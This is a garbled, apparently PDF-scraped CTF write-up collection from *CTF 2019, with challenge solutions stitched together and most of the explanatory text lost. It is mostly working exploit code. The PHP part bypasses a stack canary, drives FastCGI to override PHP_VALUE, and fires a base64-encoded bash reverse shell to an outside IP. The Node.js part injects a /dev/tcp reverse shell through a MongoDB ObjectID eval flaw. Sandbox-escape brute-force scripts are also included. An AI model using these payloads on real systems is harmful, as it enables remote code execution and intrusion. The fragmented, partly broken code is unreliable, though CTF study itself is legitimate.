0YWNrID0gbmV3ICRHTE9CQUxTe08wfVsweDAwMDJhXSgkcGhwaW5mb19hZGRyLCAkZ2V0cyk7CiAgICAgICAgZWNobyAkR0xPQkFMU3tPMH
17MHgwMDAyZn07CiAgICAgICAgJG1haW5fc3RhY2stPnskR0xPQkFMU3tPMH1bMHgwMDAwMzBdfSgpOwogICAgICAgIGVjaG8gJEdMT0JBT
FN7TzB9ezB4MDAwMDAzMX07CiAgICAgICAgJG1haW5fc3RhY2stPnskR0xPQkFMU3tPMH1bMHgwMzJdfSgpOwp9Cg==
<?php
require_once 'sandbox.php';
$seed = time();
srand($seed);
define('INS_OFFSET', rand(0, 65535));
$regs = array('eax' => 0, 'ebp' => 0, 'esp' => 0, 'eip' => 0,);
function aslr(&$O00, $O0O)
{
$O00 = $O00 + 1610612736 + INS_OFFSET + 1;
}
$func_ = array_flip($func);
array_walk($func_, aslr);
$plt = array_flip($func_);
function handle_data($OOO)
{
$O000 = strlen($OOO);
$O00O = $O000 / 4 + (1 * ($O000 % 4));
$O0O0 = str_split($OOO, 4);
$O0O0[$O00O - 1] = str_pad($O0O0[$O00O - 1], 4, '');
foreach ($O0O0 as $O0OO => &$OO00) {
$OO00 = strrev(bin2hex($OO00));
}
return $O0O0;
}
function gen_canary()
{
$OOOO = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$O0000 = $OOOO[rand(0, strlen($OOOO) - 1)];
$O000O = $OOOO[rand(0, strlen($OOOO) - 1)];
$O00O0 = $OOOO[rand(0, strlen($OOOO) - 1)];
$O00OO = '';
return handle_data($O0000 . $O000O . $O00O0 . $O00OO)[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary()
{
global $canary;
global $canarycheck;
if ($canary != $canarycheck) {
die('emmmmmm...Don\'t attack me!');
}
}
Class O0OO0
{
private $ebp, $stack, $esp;
public function __construct($O0OOO, $OO000)
{
$this->stack = array();
global $regs;
$this->ebp = &$regs['ebp'];
$this->esp = &$regs['esp'];
$this->ebp = 0xfffe0000 + rand(0, 65535);
global $canary;
$this->stack[$this->ebp - 4] = &$canary;
$this->stack[$this->ebp] = $this->ebp + rand(0, 65535);
$this->esp = $this->ebp - (rand(32, 96) * 4);
$this->stack[$this->ebp + 4] = dechex($O0OOO);
if ($OO000 != NULL) $this->{pushdata}($OO000);
}
public function pushdata($OO0O0)
{
$OO0O0 = handle_data($OO0O0);
for ($OO0OO = 0; $OO0OO < count($OO0O0); $OO0OO++) {
$this->stack[$this->esp + ($OO0OO * 4)] = $OO0O0[$OO0OO]; //no args in my stack haha
check_canary();
}
}
public function recover_data($OOO0O)
{
return hex2bin(strrev($OOO0O));
}
public function outputdata()
{
global $regs;
echo 'root says: ';
while (1) {
if ($this->esp == $this->ebp - 4) break;
$this->{pop}('eax');
$OOOOO = $this->{recover_data}($regs['eax']);
$O00000 = explode('', $OOOOO);
echo $O00000[0];
if (count($O00000) > 1) {
break;
}
}
}
public function ret()
{
$this->esp = $this->ebp;
$this->{pop}('ebp');
$this->{pop}('eip');
$this->{call}();
}
public function get_data_from_reg($O000OO)
{
global $regs;
$O00O00 = $this->{recover_data}($regs[$O000OO]);
$O00O0O = explode('', $O00O00);
return $O00O0O[0];
}
public function call()
{
global $regs;
global $plt;
$O00OOO = hexdec($regs['eip']);
if (isset($_REQUEST[$O00OOO])) {
$this->{pop}('eax');
$O0O000 = (int)$this->{get_data_from_reg}('eax');
$O0O00O = array();
for ($O0O0O0 = 0; $O0O0O0 < $O0O000; $O0O0O0++) {
$this->{pop}('eax');
$O0O0OO = $this->{get_data_from_reg}('eax');
array_push($O0O00O, $_REQUEST[$O0O0OO]);
}
call_user_func_array($plt[$O00OOO], $O0O00O);
} else {
call_user_func($plt[$O00OOO]);
}
}
public function push($O0OO0O)
{
global $regs;
$O0OOO0 = $regs[$O0OO0O];
if (hex2bin(strrev($O0OOO0)) == NULL) die('data error');
$this->stack[$this->esp] = $O0OOO0;
$this->esp -= 4;
}
public function pop($OO0000)
{
global $regs;
$regs[$OO0000] = $this->stack[$this->esp];
$this->esp += 4;
}
public function __call($OO000O, $OO00O0)
{
check_canary();
}
}
class_alias('O0OO0', stack, 0);
print_R('O0OO0');
print_R(stack);
if (isset($_POST['data'])) {
$phpinfo_addr = array_search(phpinfo, $plt);
$gets = $_POST['data'];
php
call_user_func_array
create_functionfastcgibypass disable_functionhttps://balsn.tw/ctf_writeup/20190323-
0ctf_tctf2019quals/#ghost-pepper
payload:
$main_stack = new stack($phpinfo_addr, $gets);
echo '--------------------output---------------------</br></br>';
$main_stack->{outputdata}();
echo '</br></br>------------------phpinfo()------------------</br>';
$main_stack->{ret}();
}
?>
<?php
function handle_data($data)
{
$data_length = strlen($data);
$list_len = $data_length / 4 + (1 * ($data_length % 4));
$data_list = str_split($data, 4);
$data_list[$list_len - 1] = str_pad($data_list[$list_len - 1], 4, "\x00");
foreach ($data_list as $O0OO => &$value) {
$value = strrev(bin2hex($value));
}
return $data_list;
}
function gen_canary()
{
$OOOO = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$O0000 = $OOOO[rand(0, strlen($OOOO) - 1)];
$O000O = $OOOO[rand(0, strlen($OOOO) - 1)];
$O00O0 = $OOOO[rand(0, strlen($OOOO) - 1)];
$O00OO = "\x00";
return $O0000 . $O000O . $O00O0 . $O00OO;
}
srand($argv[1]);
$ins_offset = rand(0, 0xffff);
$canary = gen_canary();
$ebp = 0xfffe0000 + rand(0, 65535);
rand(0, 65535);
$esp_length = rand(0x20, 0x60) * 4;
print($esp_length . PHP_EOL);
print($canary.PHP_EOL);
$system_addr = 479 + $ins_offset + 1610612736 + 1;
$assert_addr = $system_addr + 401;
$print_r_addr = $system_addr + 110;
$call_func_addr = $system_addr + 101;
// print("system address: ".dechex($system_addr).PHP_EOL);
print(strrev(dechex($call_func_addr)).PHP_EOL);
print($call_func_addr.PHP_EOL);
?>
import subprocess
import requests
import time, sys
url = "http://192.168.111.138:8080/"
url = "http://34.85.27.91:10080/"
rand = int(time.time())
cmd = "php getrand.php %d"%(rand)
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
result = proc.stdout.read()
result = result.split(b"\n")
stack_length = int(result[0])
canary = result[1]
print_r = bytes.fromhex(result[2].decode())
print_r_int = result[3]
cmd = sys.argv[1]
cmd = 'echo "YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMzMuMTMwLjEyMi4yMzMvOTk5NyAwPiYxCg=="|base64 -d|bash'
payload = """class Response
{
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
public $state;
public $stdout;
public $stderr;
private $reqID;
private $resp;
private $conn;
public function __construct(Client $conn, $reqID)
{
$this->reqID = $reqID;
$this->conn = $conn;
}
public function getId()
{
return $this->reqID;
}
public function get($timeout = 0)
{
if ($this->resp === null) {
if ($this->state == self::REQ_STATE_OK
|| $this->state == self::REQ_STATE_ERR
) {
return $this->resp;
}
$this->conn->waitForResponse($this->reqID, $timeout);
$this->resp = self::formatResponse($this->stdout, $this->stderr);
}
return $this->resp;
}
private static function formatResponse($stdout, $stderr)
{
$code = 200;
$headers = [
'status' => '200 OK',
];
$boundary = strpos($stdout, "\r\n\r\n");
if (false !== $boundary) {
$rawHead = substr($stdout, 0, $boundary);
$stdout = substr($stdout, $boundary + 4);
$headerLines = explode("\n", $rawHead);
foreach ($headerLines as $line) {
if (preg_match('/([\w-]+):\s*(.*)$/', $line, $matches)) {
$headerName = strtolower($matches[1]);
$headerValue = trim($matches[2]);
if ($headerName === 'status') {
$headers['status'] = $headerValue;
$pos = strpos($headerValue, ' ') ;
$code = $pos > 0
? (int) substr($headerValue, 0, $pos)
: (int) $headerValue;
continue;
}
if (array_key_exists($headerName, $headers)) {
if (!is_array($headers[$headerName])) {
$headers[$headerName] = [ $headers[$headerName] ];
}
$headers[$headerName][] = $headerValue;
} else {
$headers[$headerName] = $headerValue;
}
}
}
}
return array(
'statusCode' => $code,
'headers' => $headers,
'body' => $stdout,
'stderr' => $stderr,
);
}
}
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const HEADER_LEN = 8;
protected $sock;
protected $host;
protected $port;
protected $keepAlive = false;
protected $_requests = array();
protected $_requestCounter = 0;
protected $_readWriteTimeout = 0;
public function __construct($host, $port = null)
{
$this->host = $host;
$this->port = $port;
}
public function __destruct()
{
$this->close();
}
public function __sleep()
{
return array('host','port','_readWriteTimeout');
}
public function setKeepAlive($b)
{
$this->keepAlive = (boolean)$b;
if (!$this->keepAlive && $this->sock) {
$this->close();
}
}
public function getKeepAlive()
{
return $this->keepAlive;
}
public function close()
{
if ($this->sock) {
socket_close($this->sock);
$this->sock = null;
}
$this->_requests = [];
}
public function setReadWriteTimeout($timeoutMs)
{
$this->_readWriteTimeout = $timeoutMs;
$this->setMsTimeout($this->_readWriteTimeout);
}
public function getReadWriteTimeout()
{
return $this->_readWriteTimeout;
}
private function setMsTimeout($timeoutMs) {
if (!$this->sock) {
return false;
}
$timeout = array(
'sec' => floor($timeoutMs / 1000),
'usec' => ($timeoutMs % 1000) * 1000,
);
return socket_set_option($this->sock, SOL_SOCKET, SO_RCVTIMEO, $timeout);
}
protected function connect()
{
if ($this->sock) {
return;
}
if ($this->port) {
$this->sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$address = $this->host;
$port = $this->port;
} else {
$this->sock = socket_create(AF_UNIX, SOCK_STREAM, 0);
$address = $this->host;
$port = 0;
}
if (!$this->sock) {
throw CommunicationException::socketCreate();
}
if (false === socket_connect($this->sock, $address, $port)) {
throw CommunicationException::socketConnect($this->sock, $this->host, $this->port);
}
if ($this->_readWriteTimeout && !$this->setMsTimeout($this->_readWriteTimeout)) {
throw new CommunicationException('Unable to set timeout on socket');
}
}
protected function buildPacket($type, $content, $requestId = 1)
{
$offset = 0;
$totLen = strlen($content);
$buf = '';
do {
$part = substr($content, $offset, 0xffff - 8);
$segLen = strlen($part);
$buf .= chr(self::VERSION_1)
. chr($type)
. chr(($requestId >> 8) & 0xFF)
. chr($requestId & 0xFF)
. chr(($segLen >> 8) & 0xFF)
. chr($segLen & 0xFF)
. chr(0)
. chr(0)
. $part;
$offset += $segLen;
} while ($offset < $totLen);
return $buf;
}
protected function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
$nvpair = chr($nlen);
} else {
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) .
chr($nlen & 0xFF);
}
if ($vlen < 128) {
$nvpair .= chr($vlen);
} else {
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) .
chr($vlen & 0xFF);
}
return $nvpair . $name . $value;
}
protected function readNvpair($data, $length = null)
{
if ($length === null) {
$length = strlen($data);
}
$array = array();
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
protected function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
protected function readPacket($timeoutMs)
{
$s = [$this->sock];
$a = [];
socket_select($s, $a, $a, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000);
$packet = socket_read($this->sock, self::HEADER_LEN);
if ($packet === false) {
$errNo = socket_last_error($this->sock);
if ($errNo == 110) {
throw new TimedOutException('Failed reading socket');
}
throw CommunicationException::socketRead($this->sock);
}
if (!$packet) {
return null;
}
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=socket_read($this->sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
socket_read($this->sock, $resp['paddingLength']);
}
return $resp;
}
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
$ret = socket_write($this->sock, $this->buildPacket(self::GET_VALUES, $request, 0));
if ($ret === false) {
throw CommunicationException::socketWrite($this->sock);
}
$resp = $this->readPacket(0);
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new CommunicationException('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
public function request(array $params, $stdin)
{
$req = $this->asyncRequest($params, $stdin);
return $req->get();
}
public function asyncRequest(array $params, $stdin)
{
$this->connect();
do {
$this->_requestCounter++;
if ($this->_requestCounter >= 65536) {
$this->_requestCounter = 1;
}
$id = $this->_requestCounter;
} while (isset($this->_requests[$id]));
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this-
>keepAlive) . str_repeat(chr(0), 5), $id);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
if (false === socket_write($this->sock, $request)) {
throw CommunicationException::socketWrite($this->sock);
}
$req = new Response($this, $id);
$req->state = Response::REQ_STATE_WRITTEN;
$this->_requests[$id] = $req;
return $req;
}
public function waitForResponse($requestId, $timeoutMs = 0)
{
if (!isset($this->_requests[$requestId])) {
throw new CommunicationException('Invalid request id given');
}
$startTime = microtime(true);
do {
$resp = $this->readPacket($timeoutMs);
if (!$resp) {
continue;
}
if (isset($this->_requests[$resp['requestId']])) {
$req = $this->_requests[$resp['requestId']];
$respType = (int) $resp['type'];
if ($respType === self::STDOUT) {
$req->stdout .= $resp['content'];
} elseif ($respType === self::STDERR) {
$req->state = Response::REQ_STATE_ERR;
$req->stderr .= $resp['content'];
} elseif ($respType === self::END_REQUEST) {
$req->state = Response::REQ_STATE_OK;
unset($this->_requests[$resp['requestId']]);
if ($resp['requestId'] == $requestId) {
return true;
}
}
} else {
trigger_error("Bad requestID: " . $resp['requestId'], E_USER_WARNING);
}
if (isset($resp['content']{4})) {
$msg = ord($resp['content']{4});
if ($msg === self::CANT_MPX_CONN) {
throw new CommunicationException('This app multiplex [CANT_MPX_CONN]');
} elseif ($msg === self::OVERLOADED) {
throw new CommunicationException('New request rejected; too busy [OVERLOADED]');
} elseif ($msg === self::UNKNOWN_ROLE) {
throw new CommunicationException('Role value not known [UNKNOWN_ROLE]');
}
}
if ($timeoutMs && microtime(true) - $startTime >= ($timeoutMs * 1000)) {
throw new TimedOutException('Timed out');
}
} while (true);
return false;
}
}
$filepath = "/var/www/html/sandbox.php";
$req = '/sandbox.php';
$cmd = $_REQUEST['cmd'];
$uri = $req .'?'.'command='.$cmd;
$client = new Client("//var/run/php/php7.3-fpm.sock", 0);
$code = "<?php system(\$_GET['command']);?>";
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$cmd,
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => 'niubi/fasdfas',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
var_dump($params);
ini_set("display_errors", "On");
var_dump($client->request($params, $code));
"""
data1 = {
"data": b"a"*(stack_length-4) + canary + b"aaaa" + print_r + b"0004abcdabccabc1abc2",
print_r_int:"1",
"abcd":b"array_map",
"abcc": "call_user_func_array",
"abc1[0]": "create_function",
"abc2[a][a]": "",
"abc2[a][b]": "2;}%s/*"%payload,
"cmd": cmd,
}
# data1 = {
# "data": b"a"*(stack_length-4) + canary + b"aaaa" + print_r + b"0004abcdabccabc1abc2",
# print_r_int:"1",
# "abcd":b"error_log",
# "abcc": "/tmp/14ab50ba338b696dc9a4edd5adf3a213/",
# "abc1": 3,
# "abc2": "/tmp/14ab50ba338b696dc9a4edd5adf3a213/test123"
# }
data2 = {
shellperlOK
996 Game
Status: Completed Tags: Web,nojejs
NodejsMongoDBsocketiohintdb.a.find({"b":{"$gt":1,"c":"d"}}) MongoDB
repoGitHubrepojs/clientjs/server
jsjs/server
Githubdiffeval
"data": b"a"*(stack_length-4) + canary + b"aaaa" + print_r + b"0002abcdabc2",
print_r_int:"1",
"abcd":b"session_start",
"abc2[save_path]": "/tmp/14ab50ba338b696dc9a4edd5adf3a213/test123"
}
r = requests.post(url, data=data1, files={"file": open("include.php")})
•# r = requests.post(url, data={"data": b"a"*(stack_length-4) + canary + b"aaaa" + print_r +
b"0002abcdabcc", print_r_int:"1", "abcd":"assert", "abcc": "print_r(123)"})
•print(r.text)
•# r = requests.post(url, data=data2)
•# print(r.text)
// GameServer.js diff
GameServer.loadPlayer = function(socket,id){
GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){
if(err) {
if(!doc) {
eval(err.message.split(':').pop()); //
}
throw err;
}
if(!doc) {
return;
}
var player = new Player();
var mongoID = doc._id.toString();
player.setIDs(mongoID,socket.id);
player.getDataFromDb(doc);
js
init-worlddatanewfalseid
ObjectID_id
GameServer.finalizePlayer(socket,player);
});
};
socket.on('init-world',function(data){
if(!gs.mapReady) {
socket.emit('wait');
return;
}
if(data.new) {
if(!gs.checkSocketID(socket.id)) return;
gs.addNewPlayer(socket,data);
}else{
if(!gs.checkPlayerID(data.id)) return;
gs.loadPlayer(socket,data.id); //
}
});
db.collection('players').findOne({_id: new ObjectId(id)}
var ObjectID = function ObjectID(id) {
// Duck-typing to support ObjectId from different npm packages
if (id instanceof ObjectID) return id;
if (!(this instanceof ObjectID)) return new ObjectID(id);
this._bsontype = 'ObjectID';
// The most common usecase (blank id, new objectId instance)
if (id == null || typeof id === 'number') {
// Generate a new id
this.id = this.generate(id);
// If we are caching the hex string
if (ObjectID.cacheHexString) this.__id = this.toString('hex');
// Return the object
return;
}
// Check if the passed in id is valid
var valid = ObjectID.isValid(id);
console.log("pass 1");
// Throw an error if it's not a valid setup
if (!valid && id != null) {
throw new Error(
'Argument passed in must be a single String of 12 bytes or a string of 24 hex characters'
);
} else if (valid && typeof id === 'string' && id.length === 24 && hasBufferType) {
return new ObjectID(new Buffer(id, 'hex'));
} else if (valid && typeof id === 'string' && id.length === 24) {
return ObjectID.createFromHexString(id);
} else if (id != null && id.length === 12) {
// assume 12 byte string
this.id = id;
} else if (id != null && id.toHexString) {
// Duck-typing to support ObjectId from different npm packages
return id;
} else {
isValid
ObjectID{toHexString:1,id:{length:12}},
“id.toHexString”“id.id.length === 12”“id != null && id.toHexString“idnew ObjectID
dataidfind_id
hinthintid
evalc
shell
python
throw new Error(
'Argument passed in must be a single String of 12 bytes or a string of 24 hex characters'
);
}
if (ObjectID.cacheHexString) this.__id = this.toString('hex');
};
ObjectID.isValid = function isValid(id) {
if (id == null) return false;
if (typeof id === 'number') {
return true;
}
if (typeof id === 'string') {
return id.length === 12 || (id.length === 24 && checkForHexRegExp.test(id));
}
if (id instanceof ObjectID) {
return true;
}
if (id instanceof _Buffer) {
return true;
}
// Duck-Typing detection of ObjectId like objects
if (id.toHexString) {
return id.id.length === 12 || (id.id.length === 24 && checkForHexRegExp.test(id.id));
}
return false;
};
Client.socket.emit('init-world',{new:false,id:{"$gt":"a",c:"b",toHexString:1,id:
{length:12}},clientTime:Date.now()})
Client.socket.emit('init-world',{new:false,id:{"$gt":"a","const { execFile, execFileSync } =
require('child_process');GameServer.server.sendID(socket,execFileSync('/bin/bash' ,['-c' ,'bash -i >&
/dev/tcp/x.xxx.xx.xx/9999 0>&1']));":"b",toHexString:1,id:{length:12}},clientTime:Date.now()})
//996996
mywebsql
Status: Completed Tags: Web
https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme.md
shellreadflagelfperl
Misc
babyflash
Status: Completed Tags: Misc
JPEXS441441=21*21flagflag
otaku
Status: Completed Tags: Misc
Wordlastwordgbkcrcknown plaintext attackMy_waifuLSBb1,rgb,lsb,xy ..
text: "*ctf{vI0l3t_Ev3rg@RdeN}\n"
Checkin
Status: Completed Tags: Misc
IRC
She
Status: Completed Tags: Misc
Game Maker XP12113737
629679room4371269213697MD5flag
Sokoban
Status: Completed Tags: Misc
import socket,subprocess,os
p = subprocess.Popen("/readflag", stdin = subprocess.PIPE, stdout = subprocess.PIPE, bufsize = 1)
x = p.stdout.read(100)
print x
w = x.splitlines()[1]
ans = eval(w)
p.stdin.write(str(ans) + '\\n')
v = p.stdout.read(100)
print v
echo
'dXNlIHN0cmljdDsKdXNlIElQQzo6T3BlbjM7CgpteSAkcGlkID0gb3BlbjMoXCpDSExEX0lOLCBcKkNITERfT1VULCBcKkNITERfRVJSLC
AnL3JlYWRmbGFnJykgb3IgZGllICJvcGVuMygpIGZhaWxlZCAkISI7CgpteSAkcjsKCiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJ
HIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOwokcj1ldmFsICIkciI7CnByaW50ICIkclxuIjsKcHJpbnQgQ0hMRF9JTiAiJHJcbiI7CiRy
ID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOw=='|base64 -d | perl
from pwintools import *
import string
import time
a = 'UuDdLlRr'
b = 'wwssaadd'
gg(
homebrewEvtLoop—
Status: Completed Tags: Misc
t = string.maketrans(a, b)
p = Remote('34.92.121.149', 9091)
p.recvuntil('tips:more than one box\n')
def solve():
mapp = p.recvuntil('tell')[:-4].replace('8', '#').replace('4', '@').replace('0', ' ').replace('2',
'$').replace('1', '.').strip()
print mapp
open('chall.txt', 'w').write(mapp)
solver = Process(['YASS.exe', 'chall.txt'])
time.sleep(0.5)
optimizer = Process(['YASO.exe', '"chall, YASS 2.141 Solutions.sok"', '-search', 'optimize', '-
optimize', 'moves'])
# optimizer.wait()
time.sleep(2)
f = open('chall, YASS 2.141 Solutions, YASO 2.141 Solutions.sok')
data = f.read().replace('\n', '')
f.close()
# print data
s = data[data.index("2.141)")+6:]
print s.translate(t)
print p.recv(100)
p.sendline(s.translate(t))
•p.recv(1000)
•p.sendline('dd')
•for i in xrange(24):
solve()
•p.interactive()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from hashlib import sha1
import string
# context.log_level = 'debug'
table = string.ascii_letters + string.digits
payload = '''[[session[args[0]][{}]][0]in[event[{}]]or[ping_handler][0]][0]or[{}]114514log'''
table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]"
def proof_of_work(res):
for a in table:
for b in table:
for c in table:
for d in table:
if sha1(a + b + c + d).hexdigest()[:4] == res:
return a + b + c + d
homebrewEvtLoop#
Status: Completed Tags: Misc
[[[ping_handler]for[PoW]in[[switch_safe_mode]]]and[[ping_handler]for[raw_input]in[[input]]]and[ping_handler][0]]1145141
eval(compile("print open('flag','rb').read()", '', 'exec'))
Reverse
Matr1x
Status: Completed Tags: Reverse
flag = "*ctf{"
for idx in range(5, 1000):
success = False
for guess in table:
io = remote('34.92.121.149', 54321)
proof = io.recv().strip().split('==')[1].strip("\" ")
io.sendline(proof_of_work(proof))
offset = 64 if idx < 10 else 65
if guess == '[':
io.sendline(payload.format(idx, offset - 1, '1'))
elif guess == ']':
io.sendline(payload.format(idx, offset + 1, '1'))
else:
io.sendline(payload.format(idx, offset, guess))
res = io.recvuntil('lost')
io.close()
if 'exception' in res:
flag += guess
success = True
print idx, flag
break
if not success:
break
print flag
void sub_5C20(int *a1)
{
_DWORD *result; // eax
int v2; // [esp+4Ah] [ebp-4h]
int v3; // [esp+4Ah] [ebp-4h]
v2 = a1[0];
a1[0] = a1[6];
a1[6] = a1[8];
a1[8] = a1[2];
a1[2] = v2;
v3 = a1[1];
a1[1] = a1[3];
a1[3] = a1[7];
a1[7] = a1[5];
a1[5] = v3;
}
void sub_6473(int *a1)
{
int result; // eax
int v2; // [esp+67h] [ebp-4h]
int v3; // [esp+67h] [ebp-4h]
v2 = a1[0];
a1[0] = a1[2];
a1[2] = a1[8];
a1[8] = a1[6];
a1[6] = v2;
v3 = a1[1];
a1[1] = a1[5];
a1[5] = a1[7];
a1[4] = a1[3];
a1[3] = v3;
}
void __stdcall operation_16()
{
int i; // [esp+5Ch] [ebp-8h]
int v2; // [esp+60h] [ebp-4h]
for ( i = 0; i < 3; i += 1)
{
v2 = mat1[2 + 3 * i];
mat1[2 + 3 * i] = mat1[47 + 3 * i];
mat1[47 + 3 * i] = mat1[11 + 3 * i];
mat1[11 + 3 * i] = mat1[38 + 3 * i];
mat1[38 + 3 * i] = v2;
}
sub_5C20(&mat1[27]);
}
void operation_21()
{
int i; // [esp+66h] [ebp-8h]
int v2; // [esp+6Ah] [ebp-4h]
for ( i = 0; i < 3; i += 1)
{
v2 = mat1[2 + 3 * i];
mat1[2 + 3 * i] = mat1[38 + 3 * i]
mat1[38 + 3 * i] = mat1[11 + 3 * i];
mat1[11 + 3 * i] = mat1[47 + 3 * i];
mat1[47 + 3 * i] = v2;
}
sub_6473(&mat1[27]);
}
void operation_17()
{
signed int i; // [esp+37h] [ebp-8h]
int v2; // [esp+3Bh] [ebp-4h]
for ( i = 0; i < 3; i += 1)
{
v2 = mat1[3 * i];
mat1[3 * i] = mat1[4 + 3 * i];
mat1[4 + 3 * i] = mat1[1 + 3 * i];
mat1[1 + 3 * i] = mat1[5 + 3 * i];
mat1[5 + 3 * i] = v2;
}
sub_5C20(&mat1[18]);
}
void operation_20()
{
int i; // [esp+3Ah] [ebp-8h]
int v2; // [esp+3Eh] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[3 * i];
mat1[3 * i] = mat1[45 + 3 * i];
mat1[45 + 3 * i] = mat1[9 + 3 * i];
mat1[9 + 3 * i] = mat1[36 + 3 * i];
mat1[36 + 3 * i] = v2;
}
sub_6473(&mat1[18]);
}
void operation_18()
{
int result; // eax
int i; // [esp+31h] [ebp-8h]
int v2; // [esp+35h] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat[1 + 3 * i];
mat[1 + 3 * i] = mat1[46 + 3 * i];
mat1[46 + 3 * i] = mat1[10 + 3 * i];
mat1[10 + 3 * i] = mat1[37 + 3 * i];
mat1[37 + 3 * i] = v2;
}
}
void operation_19()
{
int result; // eax
int i; // [esp+72h] [ebp-8h]
int v2; // [esp+76h] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[37 + 3 * i];
mat1[37 + 3 * i] = mat1[10 + 3 * i];
mat1[10 + 3 * i] = mat1[46 + 3 * i];
mat1[46 + 3 * i] = mat1[1 + 3 * i]
mat1[1 + 3 * i] = v2;
}
}
void operation_32()
{
int i; // [esp+2Ah] [ebp-8h]
int v2; // [esp+2Eh] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[i];
mat1[i] = mat1[i + 27];
mat1[i + 27] = mat1[17 - i];
mat1[17 - i] = mat1[i + 18];
mat1[i + 18] = v2;
}
sub_5C20(&mat1[36]);
}
void operation_37()
{
int i; // [esp+2Ah] [ebp-8h]
int v2; // [esp+2Eh] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[i];
mat1[i] = mat1[i + 18];
mat1[i + 18] = mat1[17 - i];
mat1[17 - i] = mat1[i + 27];
mat1[i + 27] = v2;
}
sub_6473((&mat1[36]);
}
void operation_33()
{
int result; // eax
int i; // [esp+75h] [ebp-8h]
int v2; // [esp+79h] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[i + 3];
mat1[i + 3] = mat1[i + 30];
mat1[i + 30] = mat1[14 - i];
mat1[14 - i] = mat1[i + 21];
mat1[i + 21] = v2;
}
}
void operation_36()
{
int result; // eax
int i; // [esp+34h] [ebp-8h]
int v2; // [esp+38h] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
